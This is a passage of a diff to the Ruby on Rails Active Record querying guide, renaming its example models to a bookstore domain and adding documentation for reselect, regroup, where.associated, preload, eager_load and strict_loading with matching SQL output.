 ```
 
 You can also remove the uniqueness constraint:
 
 ```ruby
-query = Client.select(:name).distinct
-# => Returns unique names
+# Returns unique last_names
+query = Customer.select(:last_name).distinct
 
+# Returns all last_names, even if there are duplicates
 query.distinct(false)
-# => Returns all names, even if there are duplicates
 ```
 
 Limit and Offset
 ----------------
 
-To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation.
+To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using [`limit`][] and [`offset`][] methods on the relation.
 
-You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example
+You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example:
 
 ```ruby
-Client.limit(5)
+Customer.limit(5)
 ```
 
-will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
+will return a maximum of 5 customers and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
 
 ```sql
-SELECT * FROM clients LIMIT 5
+SELECT * FROM customers LIMIT 5
 ```
 
 Adding `offset` to that
 
 ```ruby
-Client.limit(5).offset(30)
+Customer.limit(5).offset(30)
 ```
 
-will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
+will return instead a maximum of 5 customers beginning with the 31st. The SQL looks like:
 
 ```sql
-SELECT * FROM clients LIMIT 5 OFFSET 30
+SELECT * FROM customers LIMIT 5 OFFSET 30
 ```
 
-Group
------
+Grouping
+--------
 
-To apply a `GROUP BY` clause to the SQL fired by the finder, you can use the `group` method.
+To apply a `GROUP BY` clause to the SQL fired by the finder, you can use the [`group`][] method.
 
 For example, if you want to find a collection of the dates on which orders were created:
 
 ```ruby
-Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+Order.select("created_at").group("created_at")
 ```
 
 And this will give you a single `Order` object for each date where there are orders in the database.
@@ -696,205 +1018,289 @@ And this will give you a single `Order` object for each date where there are ord
 The SQL that would be executed would be something like this:
 
 ```sql
-SELECT date(created_at) as ordered_date, sum(price) as total_price
+SELECT created_at
 FROM orders
-GROUP BY date(created_at)
+GROUP BY created_at
 ```
 
-### Total of grouped items
+### Total of Grouped Items
 
-To get the total of grouped items on a single query, call `count` after the `group`.
+To get the total of grouped items on a single query, call [`count`][] after the `group`.
 
-```ruby
-Order.group(:status).count
-# => { 'awaiting_approval' => 7, 'paid' => 12 }
+```irb
+irb> Order.group(:status).count
+=> {"being_packed"=>7, "shipped"=>12}
 ```
 
 The SQL that would be executed would be something like this:
 
 ```sql
 SELECT COUNT (*) AS count_all, status AS status
-FROM "orders"
+FROM orders
 GROUP BY status
 ```
 
-Having
-------
+[`count`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-count
 
-SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `having` method to the find.
+### HAVING Conditions
+
+SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the [`having`][] method to the find.
 
 For example:
 
 ```ruby
-Order.select("date(created_at) as ordered_date, sum(price) as total_price").
-  group("date(created_at)").having("sum(price) > ?", 100)
+Order.select("created_at as ordered_date, sum(total) as total_price").
+  group("created_at").having("sum(total) > ?", 200)
 ```
 
 The SQL that would be executed would be something like this:
 
 ```sql
-SELECT date(created_at) as ordered_date, sum(price) as total_price
+SELECT created_at as ordered_date, sum(total) as total_price
 FROM orders
-GROUP BY date(created_at)
-HAVING sum(price) > 100
+GROUP BY created_at
+HAVING sum(total) > 200
 ```
 
-This returns the date and total price for each order object, grouped by the day they were ordered and where the price is more than $100.
+This returns the date and total price for each order object, grouped by the day they were ordered and where the total is more than $200.
+
+You would access the `total_price` for each order object returned like this:
+
+```ruby
+big_orders = Order.select("created_at, sum(total) as total_price")
+                  .group("created_at")
+                  .having("sum(total) > ?", 200)
+
+big_orders[0].total_price
+# Returns the total price for the first Order object
+```
 
 Overriding Conditions
 ---------------------
 
 ### `unscope`
 
-You can specify certain conditions to be removed using the `unscope` method. For example:
+You can specify certain conditions to be removed using the [`unscope`][] method. For example:
 
 ```ruby
-Article.where('id > 10').limit(20).order('id asc').unscope(:order)
+Book.where("id > 100").limit(20).order("id desc").unscope(:order)
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM articles WHERE id > 10 LIMIT 20
-
-# Original query without `unscope`
-SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20
+SELECT * FROM books WHERE id > 100 LIMIT 20
 
+-- Original query without `unscope`
+SELECT * FROM books WHERE id > 100 ORDER BY id desc LIMIT 20
 ```
 
-You can also unscope specific `where` clauses. For example:
+You can also unscope specific `where` clauses. For example, this will remove `id` condition from the where clause:
 
 ```ruby
-Article.where(id: 10, trashed: false).unscope(where: :id)
-# SELECT "articles".* FROM "articles" WHERE trashed = 0
+Book.where(id: 10, out_of_print: false).unscope(where: :id)
+# SELECT books.* FROM books WHERE out_of_print = 0
 ```
 
 A relation which has used `unscope` will affect any relation into which it is merged:
 
 ```ruby
-Article.order('id asc').merge(Article.unscope(:order))
-# SELECT "articles".* FROM "articles"
+Book.order("id desc").merge(Book.unscope(:order))
+# SELECT books.* FROM books
 ```
 
+[`unscope`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-unscope
+
 ### `only`
 
-You can also override conditions using the `only` method. For example:
+You can also override conditions using the [`only`][] method. For example:
 
 ```ruby
-Article.where('id > 10').limit(20).order('id desc').only(:order, :where)
+Book.where("id > 10").limit(20).order("id desc").only(:order, :where)
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM articles WHERE id > 10 ORDER BY id DESC
+SELECT * FROM books WHERE id > 10 ORDER BY id DESC
+
+-- Original query without `only`
+SELECT * FROM books WHERE id > 10 ORDER BY id DESC LIMIT 20
+```
+
+[`only`]: https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-only
+
+### `reselect`
+
+The [`reselect`][] method overrides an existing select statement. For example:
 
-# Original query without `only`
-SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20
+```ruby
+Book.select(:title, :isbn).reselect(:created_at)
+```
+
+The SQL that would be executed:
 
+```sql
+SELECT books.created_at FROM books
+```
+
+Compare this to the case where the `reselect` clause is not used:
+
+```ruby
+Book.select(:title, :isbn).select(:created_at)
+```
+
+The SQL executed would be:
+
+```sql
+SELECT books.title, books.isbn, books.created_at FROM books
 ```
 
 ### `reorder`
 
-The `reorder` method overrides the default scope order. For example:
+The [`reorder`][] method overrides the default scope order. For example, if the class definition includes this:
 
 ```ruby
-class Article < ApplicationRecord
-  has_many :comments, -> { order('posted_at DESC') }
+class Author < ApplicationRecord
+  has_many :books, -> { order(year_published: :desc) }
 end
+```
 
-Article.find(10).comments.reorder('name')
+And you execute this:
+
+```ruby
+Author.find(10).books
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM articles WHERE id = 10
-SELECT * FROM comments WHERE article_id = 10 ORDER BY name
+SELECT * FROM authors WHERE id = 10 LIMIT 1
+SELECT * FROM books WHERE author_id = 10 ORDER BY year_published DESC
 ```
 
-In the case where the `reorder` clause is not used, the SQL executed would be:
+You can using the `reorder` clause to specify a different way to order the books:
+
+```ruby
+Author.find(10).books.reorder("year_published ASC")
+```
+
+The SQL that would be executed:
 
 ```sql
-SELECT * FROM articles WHERE id = 10
-SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC
+SELECT * FROM authors WHERE id = 10 LIMIT 1
+SELECT * FROM books WHERE author_id = 10 ORDER BY year_published ASC
 ```
 
 ### `reverse_order`
 
-The `reverse_order` method reverses the ordering clause if specified.
+The [`reverse_order`][] method reverses the ordering clause if specified.
 
 ```ruby
-Client.where("orders_count > 10").order(:name).reverse_order
+Book.where("author_id > 10").order(:year_published).reverse_order
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+SELECT * FROM books WHERE author_id > 10 ORDER BY year_published DESC
 ```
 
 If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order.
 
 ```ruby
-Client.where("orders_count > 10").reverse_order
+Book.where("author_id > 10").reverse_order
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+SELECT * FROM books WHERE author_id > 10 ORDER BY books.id DESC
 ```
 
-This method accepts **no** arguments.
+The `reverse_order` method accepts **no** arguments.
 
 ### `rewhere`
 
-The `rewhere` method overrides an existing, named where condition. For example:
+The [`rewhere`][] method overrides an existing, named `where` condition. For example:
+
+```ruby
+Book.where(out_of_print: true).rewhere(out_of_print: false)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM books WHERE out_of_print = 0
+```
+
+If the `rewhere` clause is not used, the where clauses are ANDed together:
 
 ```ruby
-Article.where(trashed: true).rewhere(trashed: false)
+Book.where(out_of_print: true).where(out_of_print: false)
+```
+
+The SQL executed would be:
+
+```sql
+SELECT * FROM books WHERE out_of_print = 1 AND out_of_print = 0
+```
+
+[`rewhere`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-rewhere
+
+
+### `regroup`
+
+The [`regroup`][] method overrides an existing, named `group` condition. For example:
+
+```ruby
+Book.group(:author).regroup(:id)
 ```
 
 The SQL that would be executed:
 
 ```sql
-SELECT * FROM articles WHERE `trashed` = 0
+SELECT * FROM books GROUP BY id
 ```
 
-In case the `rewhere` clause is not used,
+If the `regroup` clause is not used, the group clauses are combined together:
 
 ```ruby
-Article.where(trashed: true).where(trashed: false)
+Book.group(:author).group(:id)
 ```
 
-the SQL executed would be:
+The SQL executed would be:
 
 ```sql
-SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0
+SELECT * FROM books GROUP BY author, id
 ```
 
+[`regroup`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup
+
+
 Null Relation
 -------------
 
-The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
+The [`none`][] method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
 
 ```ruby
-Article.none # returns an empty Relation and fires no queries.
+Book.none # returns an empty Relation and fires no queries.
 ```
 
 ```ruby
-# The visible_articles method below is expected to return a Relation.
-@articles = current_user.visible_articles.where(name: params[:name])
+# The highlighted_reviews method below is expected to always return a Relation.
+Book.first.highlighted_reviews.average(:rating)
+# => Returns average rating of a book
 
-def visible_articles
-  case role
-  when 'Country Manager'
-    Article.where(country: country)
-  when 'Reviewer'
-    Article.published
-  when 'Bad User'
-    Article.none # => returning [] or nil breaks the caller code in this case
+class Book
+  # Returns reviews if there are at least 5,
+  # else consider this as non-reviewed book
+  def highlighted_reviews
+    if reviews.count >= 5
+      reviews
+    else
+      Review.none # Does not meet minimum threshold yet
+    end
   end
 end
 ```
@@ -902,15 +1308,15 @@ end
 Readonly Objects
 ----------------
 
-Active Record provides the `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.
+Active Record provides the [`readonly`][] method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.
 
 ```ruby
-client = Client.readonly.first
-client.visits += 1
-client.save
+customer = Customer.readonly.first
+customer.visits += 1
+customer.save # Raises an ActiveRecord::ReadOnlyRecord
 ```
 
-As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_.
+As `customer` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `customer.save` with an updated value of _visits_.
 
 Locking Records for Update
 --------------------------
@@ -928,16 +1334,18 @@ Optimistic locking allows multiple users to access the same record for edits, an
 
 **Optimistic locking column**
 
-In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example:
+In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`.
+
+For example:
 
 ```ruby
-c1 = Client.find(1)
-c2 = Client.find(1)
+c1 = Customer.find(1)
+c2 = Customer.find(1)
 
-c1.first_name = "Michael"
+c1.first_name = "Sandra"
 c1.save
 
-c2.name = "should fail"
+c2.first_name = "Michael"
 c2.save # Raises an ActiveRecord::StaleObjectError
 ```
 
@@ -948,14 +1356,11 @@ This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistical
 To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`:
 
 ```ruby
-class Client < ApplicationRecord
-  self.locking_column = :lock_client_column
+class Customer < ApplicationRecord
+  self.locking_column = :lock_customer_column
 end
 ```
 
-NOTE: Please note that the optimistic locking will be ignored if you update the
-locking column's value.
-
 ### Pessimistic Locking
 
 Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.
@@ -963,10 +1368,10 @@ Pessimistic locking uses a locking mechanism provided by the underlying database
 For example:
 
 ```ruby
-Item.transaction do
-  i = Item.lock.first
-  i.name = 'Jones'
-  i.save!
+Book.transaction do
+  book = Book.lock.first
+  book.title = "Algorithms, second edition"
+  book.save!
 end
 ```
 
@@ -974,28 +1379,31 @@ The above session produces the following SQL for a MySQL backend:
 
 ```sql
 SQL (0.2ms)   BEGIN
-Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
-Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+Book Load (0.3ms)   SELECT * FROM books LIMIT 1 FOR UPDATE
+Book Update (0.4ms)   UPDATE books SET updated_at = '2009-02-07 18:05:56', title = 'Algorithms, second edition' WHERE id = 1
 SQL (0.8ms)   COMMIT
 ```
 
 You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
 
 ```ruby
-Item.transaction do
-  i = Item.lock("LOCK IN SHARE MODE").find(1)
-  i.increment!(:views)
+Book.transaction do
+  book = Book.lock("LOCK IN SHARE MODE").find(1)
+  book.increment!(:views)
 end
 ```
 
-If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:
+NOTE:  Note that your database must support the raw SQL, that you pass in to the `lock` method.
+
+If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code. The block receives the current transaction so you can register callbacks:
 
 ```ruby
-item = Item.first
-item.with_lock do
+book = Book.first
+book.with_lock do |transaction|
   # This block is called within a transaction,
-  # item is already locked.
-  item.increment!(:views)
+  # book is already locked.
+  transaction.after_commit { puts "hello" }
+  book.increment!(:views)
 end
 ```
 
@@ -1009,119 +1417,93 @@ While `joins` should be used for `INNER JOIN` or custom queries,
 
 ### `joins`
 
-There are multiple ways to use the `joins` method.
+There are multiple ways to use the [`joins`][] method.
 
 #### Using a String SQL Fragment
 
 You can just supply the raw SQL specifying the `JOIN` clause to `joins`:
 
 ```ruby
-Author.joins("INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'")
+Author.joins("INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE")
 ```
 
 This will result in the following SQL:
 
 ```sql
-SELECT authors.* FROM authors INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'
+SELECT authors.* FROM authors INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE
 ```
 
 #### Using Array/Hash of Named Associations
 
 Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method.
 
-For example, consider the following `Category`, `Article`, `Comment`, `Guest` and `Tag` models:
-
-```ruby
-class Category < ApplicationRecord
-  has_many :articles
-end
-
-class Article < ApplicationRecord
-  belongs_to :category
-  has_many :comments
-  has_many :tags
-end
-
-class Comment < ApplicationRecord
-  belongs_to :article
-  has_one :guest
-end
-
-class Guest < ApplicationRecord
-  belongs_to :comment
-end
-
-class Tag < ApplicationRecord
-  belongs_to :article
-end
-```
-
-Now all of the following will produce the expected join queries using `INNER JOIN`:
+All of the following will produce the expected join queries using `INNER JOIN`:
 
 ##### Joining a Single Association
 
 ```ruby
-Category.joins(:articles)
+Book.joins(:reviews)
 ```
 
 This produces:
 
 ```sql
-SELECT categories.* FROM categories
-  INNER JOIN articles ON articles.category_id = categories.id
+SELECT books.* FROM books
+  INNER JOIN reviews ON reviews.book_id = books.id
 ```
 
-Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).distinct`.
+Or, in English: "return a Book object for all books with reviews". Note that you will see duplicate books if a book has more than one review.  If you want unique books, you can use `Book.joins(:reviews).distinct`.
 
 #### Joining Multiple Associations
 
 ```ruby
-Article.joins(:category, :comments)
+Book.joins(:author, :reviews)
 ```
 
 This produces:
 
 ```sql
-SELECT articles.* FROM articles
-  INNER JOIN categories ON articles.category_id = categories.id
-  INNER JOIN comments ON comments.article_id = articles.id
+SELECT books.* FROM books
+  INNER JOIN authors ON authors.id = books.author_id
+  INNER JOIN reviews ON reviews.book_id = books.id
 ```
 
-Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times.
+Or, in English: "return all books that have an author and at least one review". Note again that books with multiple reviews will show up multiple times.
 
 ##### Joining Nested Associations (Single Level)
 
 ```ruby
-Article.joins(comments: :guest)
+Book.joins(reviews: :customer)
 ```
 
 This produces:
 
 ```sql
-SELECT articles.* FROM articles
-  INNER JOIN comments ON comments.article_id = articles.id
-  INNER JOIN guests ON guests.comment_id = comments.id
+SELECT books.* FROM books
+  INNER JOIN reviews ON reviews.book_id = books.id
+  INNER JOIN customers ON customers.id = reviews.customer_id
 ```
 
-Or, in English: "return all articles that have a comment made by a guest."
+Or, in English: "return all books that have a review by a customer."
 
 ##### Joining Nested Associations (Multiple Level)
 
 ```ruby
-Category.joins(articles: [{ comments: :guest }, :tags])
+Author.joins(books: [{ reviews: { customer: :orders } }, :supplier])
 ```
 
 This produces:
 
 ```sql
-SELECT categories.* FROM categories
-  INNER JOIN articles ON articles.category_id = categories.id
-  INNER JOIN comments ON comments.article_id = articles.id
-  INNER JOIN guests ON guests.comment_id = comments.id
-  INNER JOIN tags ON tags.article_id = articles.id
+SELECT authors.* FROM authors
+  INNER JOIN books ON books.author_id = authors.id
+  INNER JOIN reviews ON reviews.book_id = books.id
+  INNER JOIN customers ON customers.id = reviews.customer_id
+  INNER JOIN orders ON orders.customer_id = customers.id
+INNER JOIN suppliers ON suppliers.id = books.supplier_id
 ```
 
-Or, in English: "return all categories that have articles, where those articles have a comment made by a guest, and where those articles also have a tag."
+Or, in English: "return all authors that have books with reviews _and_ have been ordered by a customer, and the suppliers for those books."
 
 #### Specifying Conditions on the Joined Tables
 
@@ -1129,36 +1511,94 @@ You can specify conditions on the joined tables using the regular [Array](#array
 
 ```ruby
 time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where('orders.created_at' => time_range)
+Customer.joins(:orders).where("orders.created_at" => time_range).distinct
 ```
 
+This will find all customers who have orders that were created yesterday, using a `BETWEEN` SQL expression to compare `created_at`.
+
 An alternative and cleaner syntax is to nest the hash conditions:
 
 ```ruby
 time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where(orders: { created_at: time_range })
+Customer.joins(:orders).where(orders: { created_at: time_range }).distinct
+```
+
+For more advanced conditions or to reuse an existing named scope, [`merge`][] may be used. First, let's add a new named scope to the `Order` model:
+
+```ruby
+class Order < ApplicationRecord
+  belongs_to :customer
+
+  scope :created_in_time_range, ->(time_range) {
+    where(created_at: time_range)
+  }
+end
+```
+
+Now we can use `merge` to merge in the `created_in_time_range` scope:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Customer.joins(:orders).merge(Order.created_in_time_range(time_range)).distinct
 ```
 
-This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
+This will find all customers who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
 
 ### `left_outer_joins`
 
 If you want to select a set of records whether or not they have associated
-records you can use the `left_outer_joins` method.
+records you can use the [`left_outer_joins`][] method.
 
 ```ruby
-Author.left_outer_joins(:posts).distinct.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id')
+Customer.left_outer_joins(:reviews).distinct.select("customers.*, COUNT(reviews.*) AS reviews_count").group("customers.id")
 ```
 
 Which produces:
 
 ```sql
-SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors"
-LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id
+SELECT DISTINCT customers.*, COUNT(reviews.*) AS reviews_count FROM customers
+LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id GROUP BY customers.id
+```
+
+Which means: "return all customers with their count of reviews, whether or not they
+have any reviews at all"
+
+### `where.associated` and `where.missing`
+
+The `associated` and `missing` query methods let you select a set of records
+based on the presence or absence of an association.
+
+To use `where.associated`:
+
+```ruby
+Customer.where.associated(:reviews)
+```
+
+Produces:
+
+```sql
+SELECT customers.* FROM customers
+INNER JOIN reviews ON reviews.customer_id = customers.id
+WHERE reviews.id IS NOT NULL
 ```
 
-Which means: "return all authors with their count of posts, whether or not they
-have any posts at all"
+Which means "return all customers that have made at least one review".
+
+To use `where.missing`:
+
+```ruby
+Customer.where.missing(:reviews)
+```
+
+Produces:
+
+```sql
+SELECT customers.* FROM customers
+LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id
+WHERE reviews.id IS NULL
+```
+
+Which means "return all customers that have not made any reviews".
 
 
 Eager Loading Associations
@@ -1166,77 +1606,87 @@ Eager Loading Associations
 
 Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible.
 
-**N + 1 queries problem**
+### N + 1 Queries Problem
 
-Consider the following code, which finds 10 clients and prints their postcodes:
+Consider the following code, which finds 10 books and prints their authors' last_name:
 
 ```ruby
-clients = Client.limit(10)
+books = Book.limit(10)
 
-clients.each do |client|
-  puts client.address.postcode
+books.each do |book|
+  puts book.author.last_name
 end
 ```
 
-This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total.
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 books) + 10 (one per each book to load the author) = **11** queries in total.
+
+#### Solution to N + 1 Queries Problem
 
-**Solution to N + 1 queries problem**
+Active Record lets you specify in advance all the associations that are going to be loaded.
 
-Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
+The methods are:
+
+* [`includes`][]
+* [`preload`][]
+* [`eager_load`][]
+
+### `includes`
+
+With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
 
-Revisiting the above case, we could rewrite `Client.limit(10)` to eager load addresses:
+Revisiting the above case using the `includes` method, we could rewrite `Book.limit(10)` to eager load authors:
 
 ```ruby
-clients = Client.includes(:address).limit(10)
+books = Book.includes(:author).limit(10)
 
-clients.each do |client|
-  puts client.address.postcode
+books.each do |book|
+  puts book.author.last_name
 end
 ```
 
-The above code will execute just **2** queries, as opposed to **11** queries in the previous case:
+The above code will execute just **2** queries, as opposed to the **11** queries from the original case:
 
 ```sql
-SELECT * FROM clients LIMIT 10
-SELECT addresses.* FROM addresses
-  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+SELECT books.* FROM books LIMIT 10
+SELECT authors.* FROM authors
+  WHERE authors.id IN (1,2,3,4,5,6,7,8,9,10)
 ```
 
-### Eager Loading Multiple Associations
+#### Eager Loading Multiple Associations
 
 Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method.
 
-#### Array of Multiple Associations
+##### Array of Multiple Associations
 
 ```ruby
-Article.includes(:category, :comments)
+Customer.includes(:orders, :reviews)
 ```
 
-This loads all the articles and the associated category and comments for each article.
+This loads all the customers and the associated orders and reviews for each.
 
-#### Nested Associations Hash
+##### Nested Associations Hash
 
 ```ruby
-Category.includes(articles: [{ comments: :guest }, :tags]).find(1)
+Customer.includes(orders: { books: [:supplier, :author] }).find(1)
 ```
 
-This will find the category with id 1 and eager load all of the associated articles, the associated articles' tags and comments, and every comment's guest association.
+This will find the customer with id 1 and eager load all of the associated orders for it, the books for all of the orders, and the author and supplier for each of the books.
 
-### Specifying Conditions on Eager Loaded Associations
+#### Specifying Conditions on Eager Loaded Associations
 
 Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead.
 
 However if you must do this, you may use `where` as you would normally.
 
 ```ruby
-Article.includes(:comments).where(comments: { visible: true })
+Author.includes(:books).where(books: { out_of_print: true })
 ```
 
 This would generate a query which contains a `LEFT OUTER JOIN` whereas the
 `joins` method would generate one using the `INNER JOIN` function instead.
 
-```ruby
-  SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1)
+```sql
+  SELECT authors.id AS t0_r0, ... books.updated_at AS t1_r5 FROM authors LEFT OUTER JOIN books ON books.author_id = authors.id WHERE (books.out_of_print = 1)
 ```
 
 If there was no `where` condition, this would generate the normal set of two queries.
@@ -1245,124 +1695,227 @@ NOTE: Using `where` like this will only work when you pass it a Hash. For
 SQL-fragments you need to use `references` to force joined tables:
 
 ```ruby
-Article.includes(:comments).where("comments.visible = true").references(:comments)
+Author.includes(:books).where("books.out_of_print = true").references(:books)
 ```
 
-If, in the case of this `includes` query, there were no comments for any
-articles, all the articles would still be loaded. By using `joins` (an INNER
+If, in the case of this `includes` query, there were no books for any
+authors, all the authors would still be loaded. By using `joins` (an INNER
 JOIN), the join conditions **must** match, otherwise no records will be
 returned.
 
-NOTE: If an association is eager loaded as part of a join, any fields from a custom select clause will not present be on the loaded models.
+NOTE: If an association is eager loaded as part of a join, any fields from a custom select clause will not be present on the loaded models.
 This is because it is ambiguous whether they should appear on the parent record, or the child.
 
-Scopes
-------
+### `preload`
 
-Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it.
+With `preload`, Active Record loads each specified association using one query per association.
+
+Revisiting the N + 1 queries problem, we could rewrite `Book.limit(10)` to preload authors:
 
-To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called:
 
 ```ruby
-class Article < ApplicationRecord
-  scope :published, -> { where(published: true) }
+books = Book.preload(:author).limit(10)
+
+books.each do |book|
+  puts book.author.last_name
 end
 ```
 
-This is exactly the same as defining a class method, and which you use is a matter of personal preference:
+The above code will execute just **2** queries, as opposed to the **11** queries from the original case:
+
+```sql
+SELECT books.* FROM books LIMIT 10
+SELECT authors.* FROM authors
+  WHERE authors.id IN (1,2,3,4,5,6,7,8,9,10)
+```
+
+NOTE: The `preload` method uses an array, hash, or a nested hash of array/hash in the same way as the `includes` method to load any number of associations with a single `Model.find` call. However, unlike the `includes` method, it is not possible to specify conditions for preloaded associations.
+
+### `eager_load`
+
+With `eager_load`, Active Record loads all specified associations using a `LEFT OUTER JOIN`.
+
+Revisiting the case where N + 1 was occurred using the `eager_load` method, we could rewrite `Book.limit(10)` to eager load authors:
 
 ```ruby
-class Article < ApplicationRecord
-  def self.published
-    where(published: true)
-  end
+books = Book.eager_load(:author).limit(10)
+
+books.each do |book|
+  puts book.author.last_name
 end
 ```
 
-Scopes are also chainable within scopes:
+The above code will execute just **1** query, as opposed to the **11** queries from the original case:
+
+```sql
+SELECT "books"."id" AS t0_r0, "books"."title" AS t0_r1, ... FROM "books"
+  LEFT OUTER JOIN "authors" ON "authors"."id" = "books"."author_id"
+  LIMIT 10
+```
+
+NOTE: The `eager_load` method uses an array, hash, or a nested hash of array/hash in the same way as the `includes` method to load any number of associations with a single `Model.find` call. Also, like the `includes` method, you can specify conditions for eager loaded associations.
+
+### `strict_loading`
+
+Eager loading can prevent N + 1 queries but you might still be lazy loading
+some associations. To make sure no associations are lazy loaded you can enable
+[`strict_loading`][].
+
+By enabling strict loading mode on a relation, an
+`ActiveRecord::StrictLoadingViolationError` will be raised if the record tries
+to lazily load any association:
+
+```ruby
+user = User.strict_loading.first
+user.address.city # raises an ActiveRecord::StrictLoadingViolationError
+user.comments.to_a # raises an ActiveRecord::StrictLoadingViolationError
+```
+
+To enable for all relations, change the
+[`config.active_record.strict_loading_by_default`][] flag to `true`.
+
+To send violations to the logger instead, change
+[`config.active_record.action_on_strict_loading_violation`][] to `:log`.
+
+[`strict_loading`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-strict_loading
+[`config.active_record.strict_loading_by_default`]: configuring.html#config-active-record-strict-loading-by-default
